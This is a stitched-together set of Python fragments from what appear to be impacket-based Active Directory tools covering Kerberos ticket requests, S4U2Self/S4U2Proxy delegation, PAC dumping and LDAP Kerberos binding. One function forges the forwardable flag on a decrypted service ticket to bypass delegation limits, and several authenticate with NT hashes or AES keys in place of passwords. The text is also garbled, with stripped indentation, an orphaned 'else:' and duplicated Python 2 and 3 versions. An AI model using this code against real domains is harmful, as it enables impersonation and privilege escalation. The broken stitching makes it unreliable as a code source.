def build_apreq(domain, kdc, tgt, username, serviceclass, hostname):
# Build a protocol agnostic AP-REQ using the TGT we have, wrapped in GSSAPI/SPNEGO
username = Principal(username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
servername = Principal('%s/%s' % (serviceclass, hostname),
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
tgt['KDC_REP'], tgt['cipher'],
tgt['sessionKey'])
# Let's build a NegTokenInit with a Kerberos AP_REQ
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', username.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
return blob.getData()
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
def dump(self, addr):
# Try all requested protocols until one works.
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash.decode('hex'), self.__nthash.decode('hex'))
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print authenticator.prettyPrint()
print ('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += self.__behalfUser + self.__domain + 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print paForUserEnc.prettyPrint()
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value )
opts.append( constants.KDCOptions.canonicalize.value )
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
#serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
# If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print tgsReq.prettyPrint()
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print tgs.prettyPrint()
cipherText = tgs['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
# Pass the hash/aes key :P
if self.__nthash != '':
key = Key(newCipher.enctype, self.__nthash.decode('hex'))
else:
if newCipher.enctype == Enctype.RC4:
key = newCipher.string_to_key(password, '', None)
else:
key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, str(cipherText))
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, str(cipherText))
self.printPac(plainText)
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
if not os.path.isfile(additional_ticket_path):
logging.error("Ticket %s doesn't exist" % additional_ticket_path)
exit(0)
else:
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
ccache = CCache.loadFile(additional_ticket_path)
principal = ccache.credentials[0].header['server'].prettyPrint()
creds = ccache.getCredential(principal.decode())
TGS = creds.toTGS(principal)
tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
# Hackery to authenticate with ldap3 using impacket Kerberos stack
# I originally wrote this for BloodHound.py, but it works fine (tm) here too
username = Principal(username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
servername = Principal('ldap/%s' % hostname,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
tgt['KDC_REP'], tgt['cipher'],
tgt['sessionKey'])
# Let's build a NegTokenInit with a Kerberos AP_REQ
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', username.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# From here back to ldap3
ldapconnection.open(read_server_info=False)
request = bind_operation(ldapconnection.version, SASL, None, None,
ldapconnection.sasl_mechanism, blob.getData())
response = ldapconnection.post_send_single_response(
ldapconnection.send('bindRequest', request, None))[0]
ldapconnection.result = response
if response['result'] == 0:
ldapconnection.bound = True
ldapconnection.refresh_server_info()
return response['result'] == 0
def dump(self, addr):
# Try all requested protocols until one works.
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, self.__password, self.__domain, unhexlify(self.__lmhash),
unhexlify(self.__nthash))
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(
self.__behalfUser,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack(
'<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(
constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(
self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
#serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', (int(
cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
# If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket, ))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
cipherText = tgs['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
# Pass the hash/aes key :P
if self.__nthash != '' and (isinstance(self.__nthash, bytes)
and self.__nthash != b''):
key = Key(newCipher.enctype, unhexlify(self.__nthash))
else:
if newCipher.enctype == Enctype.RC4:
key = newCipher.string_to_key(password, '', None)
else:
key = newCipher.string_to_key(
password,
self.__domain.upper() + self.__username, None)
try:
# If is was plain U2U, this is the key
plainText = newCipher.decrypt(key, 2, str(cipherText))
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
self.printPac(plainText)
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey):
# Decode the TGT
try:
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
except:
decodedTGT = decoder.decode(tgt, asn1Spec = TGS_REP())[0]
domain = domain.upper()
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value )
opts.append( constants.KDCOptions.canonicalize.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
# Check we've got what we asked for
res = decoder.decode(r, asn1Spec = TGS_REP())[0]
spn = Principal()
spn.from_asn1(res['ticket'], 'realm', 'sname')
if spn.components[0] == serverName.components[0]:
# Yes.. bye bye
return r, cipher, sessionKey, newSessionKey
else:
# Let's extract the Ticket, change the domain and keep asking
domain = spn.components[1]
return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey)
return r, cipher, sessionKey, newSessionKey
def LDAP3KerberosLogin(self,
connection,
user,
password,
domain='',
lmhash='',
nthash='',
aesKey='',
kdcHost=None,
TGT=None,
TGS=None,
useCache=True):
from pyasn1.codec.ber import encoder, decoder
from pyasn1.type.univ import noValue
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises an Exception if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0' + lmhash
if len(nthash) % 2:
nthash = '0' + nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception as e:
# No cache present
print(e)
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
logging.debug('Domain retrieved from CCache: %s' % domain)
logging.debug('Using Kerberos Cache: %s' %
os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (self.__target.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
else:
logging.debug('No valid credentials found in cache')
else:
TGS = creds.toTGS(principal)
logging.debug('Using TGS from cache')
# retrieve user information from CCache file if needed
if user == '' and creds is not None:
user = creds['client'].prettyPrint().split(b'@')[0]
logging.debug('Username retrieved from CCache: %s' % user)
elif user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data']
logging.debug('Username retrieved from CCache: %s' % user)
# First of all, we need to get a TGT for the user
userName = Principal(
user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey,
kdcHost)
else:
